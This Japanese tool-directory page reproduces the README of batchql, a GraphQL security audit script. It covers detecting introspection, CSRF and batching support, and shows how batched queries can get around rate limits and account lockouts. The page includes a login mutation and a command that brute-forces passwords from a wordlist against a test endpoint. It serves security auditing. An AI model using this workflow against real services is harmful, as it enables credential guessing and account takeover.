Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
batchql — バッチGraphQLクエリとミューテーションの実行に焦点を当てたGraphQLセキュリティ監査スクリプト | Kitploit
ツール/GitHubGitHub/assetnote/batchql
脆弱性スキャナーAPIセキュリティテストウェブセキュリティペネトレーションテスト
GitHubassetnote/batchql

batchql

バッチGraphQLクエリとミューテーションの実行に焦点を当てたGraphQLセキュリティ監査スクリプト

リポジトリを見るウェブサイト
413424年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

BatchQL

BatchQLは、バッチGraphQLクエリとミューテーションの実行に焦点を当てたGraphQLセキュリティ監査スクリプトです。このスクリプトは複雑ではなく、改善を歓迎します。

GraphQLバッチ攻撃の問題領域を探求したところ、インターネット上にいくつかのブログ記事はありましたが、GraphQLバッチ攻撃を実行するツールは存在しないことがわかりました。

GraphQLバッチ攻撃は、実装されている機能によっては非常に深刻になり得ます。例えば、メールに送信された4桁のPINを期待するパスワードリセット機能を想像してください。このツールを使えば、1回のGraphQLクエリで10,000通りのPINをすべて試すことができます。これは、パスワードリセットフローの実装詳細によっては、レート制限やアカウントロックアウトを回避する可能性があります。

検出

このツールは以下を検出できます:

  • イントロスペクションクエリのサポート
  • スキーマ提案の検出
  • 潜在的なCSRFの検出
  • クエリ名ベースのバッチ処理
  • クエリJSONリストベースのバッチ処理

攻撃

現在、このツールはバッチ攻撃用のJSONリストベースのクエリの送信のみをサポートしています。変数がクエリに埋め込まれている場合や、JSON入力で提供される場合の両方のシナリオをサポートしています。

使用法

列挙

root@kitploit:~
❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080

Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyance
CSRF GET based successful. Please confirm that this is a valid issue.
CSRF POST based successful. Please confirm that this is a valid issue.
Query name based batching: GraphQL batching is possible... preflight request was successful.
Query JSON list based batching: GraphQL batching is possible... preflight request was successful.
Most provide query, wordlist, and size to perform batching attack.

バッチ攻撃

  1. GraphQLクエリを含むファイル(例:acc-login.txt)を保存します:
root@kitploit:~
mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {
  emailLoginRemembered(loginInput: $loginInput) {
    authToken {
      accessToken
      __typename
    }
    userSessionResponse {
      userToken
      userIdentity {
        userId
        identityType
        verified
        onboardingStatus
        registrationReferralCode
        userReferralInfo {
          referralCode {
            code
            valid
            __typename
          }
          __typename
        }
        __typename
      }
      __typename
    }
    __typename
  }
  }
  1. 以下のコマンドを実行してGraphQLバッチ攻撃を実行します:
root@kitploit:~
❯ python batch.py --query acc-login.txt --wordlist passwords.txt -v '{"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}' --size 100 -e http://re.local:5000/graphiql -p localhost:8080

上記のコマンドは以下のことを行います:

  • ローカルファイルからクエリを指定します --query acc-login.txt。
  • ワードリストを指定します --wordlist passwords.txt
  • 置換識別子を用いて変数入力を指定します -v {"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}
  • バッチサイズを指定します --size 100
  • エンドポイントを指定します -e http://re.local:5000/graphiql
  • プロキシを指定します -p localhost:8080

参考文献

  • GraphQLの悪用
  • Damn Vulnerable GraphQL Application
  • GraphQL Batching Attack - Wallarm
  • バッチ攻撃の緩和
ツールをダウンロード